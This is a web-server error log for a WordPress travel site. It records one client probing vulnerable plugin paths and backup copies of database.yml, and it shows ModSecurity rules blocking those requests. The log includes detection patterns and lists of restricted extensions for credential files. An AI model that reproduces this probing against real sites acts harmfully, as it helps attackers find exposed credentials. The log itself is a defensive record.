[Fri Jul 17 08:55:20.025529 2026] [hostinglimits:warn] [pid 2030798:tid 2030798] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030798) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:20.028905 2026] [authz_core:error] [pid 2018770:tid 2018770] [client 103.168.66.101:0] AH01630: client denied by server configuration: /home/stravel1/public_html/wp-content/plugins/wpforms-lite
[Fri Jul 17 08:55:20.028946 2026] [authz_core:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] AH01630: client denied by server configuration: /home/stravel1/public_html/wp-content/plugins/wpml-multilingual-cms
[Fri Jul 17 08:55:20.029030 2026] [hostinglimits:warn] [pid 2018770:tid 2018770] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018770) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:20.029097 2026] [hostinglimits:warn] [pid 2014256:tid 2014256] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2014256) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:20.023989 2026] [authz_core:error] [pid 2030803:tid 2030803] [client 103.168.66.101:0] AH01630: client denied by server configuration: /home/stravel1/public_html/wp-content/plugins/wp-file-manager
[Fri Jul 17 08:55:20.029402 2026] [hostinglimits:warn] [pid 2030803:tid 2030803] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030803) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:20.030162 2026] [authz_core:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] AH01630: client denied by server configuration: /home/stravel1/public_html/wp-content/plugins/backwpup
[Fri Jul 17 08:55:20.030415 2026] [hostinglimits:warn] [pid 2018757:tid 2018757] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018757) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:20.030758 2026] [authz_core:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] AH01630: client denied by server configuration: /home/stravel1/public_html/wp-content/plugins/updraftplus
[Fri Jul 17 08:55:20.030852 2026] [hostinglimits:warn] [pid 2013829:tid 2013829] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013829) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:20.030856 2026] [authz_core:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] AH01630: client denied by server configuration: /home/stravel1/public_html/wp-content/plugins/contact-form-7/readme.txt
[Fri Jul 17 08:55:20.030952 2026] [hostinglimits:warn] [pid 1993572:tid 1993572] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993572) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:20.031641 2026] [authz_core:error] [pid 2018741:tid 2018741] [client 103.168.66.101:0] AH01630: client denied by server configuration: /home/stravel1/public_html/wp-content/plugins/woocommerce-payments
[Fri Jul 17 08:55:20.031735 2026] [hostinglimits:warn] [pid 2018741:tid 2018741] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018741) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:20.030190 2026] [authz_core:error] [pid 1993715:tid 1993715] [client 103.168.66.101:0] AH01630: client denied by server configuration: /home/stravel1/public_html/wp-content/plugins/woocommerce
[Fri Jul 17 08:55:20.031993 2026] [hostinglimits:warn] [pid 1993715:tid 1993715] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993715) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:20.032775 2026] [authz_core:error] [pid 2029573:tid 2029573] [client 103.168.66.101:0] AH01630: client denied by server configuration: /home/stravel1/public_html/wp-content/plugins/litespeed-cache
[Fri Jul 17 08:55:20.032872 2026] [hostinglimits:warn] [pid 2029573:tid 2029573] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2029573) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:20.033651 2026] [authz_core:error] [pid 2030774:tid 2030774] [client 103.168.66.101:0] AH01630: client denied by server configuration: /home/stravel1/public_html/wp-content/plugins/backupbuddy
[Fri Jul 17 08:55:20.033760 2026] [hostinglimits:warn] [pid 2030774:tid 2030774] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030774) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:20.036414 2026] [hostinglimits:warn] [pid 1993671:tid 1993671] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993671) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:20.037010 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "2s-travels.com"] [uri "/config/database.yml.bak"] [unique_id "almgoA7FYe46zHK_jL3P5wAAABk"]
[Fri Jul 17 08:55:20.037247 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "database.yml" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: database.yml found within REQUEST_FILENAME: /config/database.yml.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/config/database.yml.bak"] [unique_id "almgoA7FYe46zHK_jL3P5wAAABk"]
[Fri Jul 17 08:55:20.037529 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/config/database.yml.bak"] [unique_id "almgoA7FYe46zHK_jL3P5wAAABk"]
[Fri Jul 17 08:55:20.037636 2026] [hostinglimits:warn] [pid 2013829:tid 2013829] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013829) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:20.037787 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgoA7FYe46zHK_jL3P5wAAABk"]
[Fri Jul 17 08:55:20.037905 2026] [hostinglimits:warn] [pid 2030798:tid 2030798] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030798) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:20.041124 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "\\\\.[^.~]+~(?:/.*|)$" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1081"] [id "920500"] [msg "Attempt to access a backup or working file"] [data ".yml~"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "2s-travels.com"] [uri "/config/database.yml~"] [unique_id "almgoIZvbo7N5o5zeYC-dgAAABw"]
[Fri Jul 17 08:55:20.041287 2026] [security2:error] [pid 2018770:tid 2018770] [client 103.168.66.101:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "2s-travels.com"] [uri "/config/database.yml.old"] [unique_id "almgoC0HS8lGbZyK8qt3JgAAACM"]
[Fri Jul 17 08:55:20.041635 2026] [security2:error] [pid 2018770:tid 2018770] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "database.yml" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: database.yml found within REQUEST_FILENAME: /config/database.yml.old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/config/database.yml.old"] [unique_id "almgoC0HS8lGbZyK8qt3JgAAACM"]
[Fri Jul 17 08:55:20.041945 2026] [security2:error] [pid 2018770:tid 2018770] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/config/database.yml.old"] [unique_id "almgoC0HS8lGbZyK8qt3JgAAACM"]
[Fri Jul 17 08:55:20.042085 2026] [hostinglimits:warn] [pid 2018770:tid 2018770] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018770) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:20.042240 2026] [security2:error] [pid 2018770:tid 2018770] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgoC0HS8lGbZyK8qt3JgAAACM"]
[Fri Jul 17 08:55:20.045141 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "database.yml" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: database.yml found within REQUEST_FILENAME: /config/database.yml~"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/config/database.yml~"] [unique_id "almgoIZvbo7N5o5zeYC-dgAAABw"]
[Fri Jul 17 08:55:20.045476 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/config/database.yml~"] [unique_id "almgoIZvbo7N5o5zeYC-dgAAABw"]
[Fri Jul 17 08:55:20.046767 2026] [hostinglimits:warn] [pid 2014256:tid 2014256] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2014256) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:20.046914 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgoIZvbo7N5o5zeYC-dgAAABw"]
[Fri Jul 17 08:55:20.048425 2026] [security2:error] [pid 2030803:tid 2030803] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "database.yml" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: database.yml found within REQUEST_FILENAME: /config/database.yml.orig"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/config/database.yml.orig"] [unique_id "almgoO1pLmPpy2r_2CxfVgAAAA8"]
[Fri Jul 17 08:55:20.048694 2026] [security2:error] [pid 1993715:tid 1993715] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "database.yml" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: database.yml found within REQUEST_FILENAME: /config/database.yml.save"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/config/database.yml.save"] [unique_id "almgoHRlmrtCoY_COpcl8gAAAAg"]
[Fri Jul 17 08:55:20.048762 2026] [security2:error] [pid 2030803:tid 2030803] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/config/database.yml.orig"] [unique_id "almgoO1pLmPpy2r_2CxfVgAAAA8"]
[Fri Jul 17 08:55:20.048882 2026] [hostinglimits:warn] [pid 2030803:tid 2030803] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030803) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:20.048983 2026] [security2:error] [pid 1993715:tid 1993715] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/config/database.yml.save"] [unique_id "almgoHRlmrtCoY_COpcl8gAAAAg"]
[Fri Jul 17 08:55:20.049007 2026] [security2:error] [pid 2030803:tid 2030803] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgoO1pLmPpy2r_2CxfVgAAAA8"]
[Fri Jul 17 08:55:20.049089 2026] [hostinglimits:warn] [pid 1993715:tid 1993715] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993715) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:20.049203 2026] [security2:error] [pid 1993715:tid 1993715] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgoHRlmrtCoY_COpcl8gAAAAg"]
[Fri Jul 17 08:55:20.069552 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".swp"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "2s-travels.com"] [uri "/config/database.yml.swp"] [unique_id "almgoIl9vhFBGA6D8l96EgAAAAw"]
[Fri Jul 17 08:55:20.069815 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "database.yml" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: database.yml found within REQUEST_FILENAME: /config/database.yml.swp"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/config/database.yml.swp"] [unique_id "almgoIl9vhFBGA6D8l96EgAAAAw"]
[Fri Jul 17 08:55:20.070098 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/config/database.yml.swp"] [unique_id "almgoIl9vhFBGA6D8l96EgAAAAw"]
[Fri Jul 17 08:55:20.070228 2026] [hostinglimits:warn] [pid 1993572:tid 1993572] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993572) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:20.070355 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgoIl9vhFBGA6D8l96EgAAAAw"]
[Fri Jul 17 08:55:20.073713 2026] [authz_core:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] AH01630: client denied by server configuration: /home/stravel1/public_html/wp-content/plugins/revslider
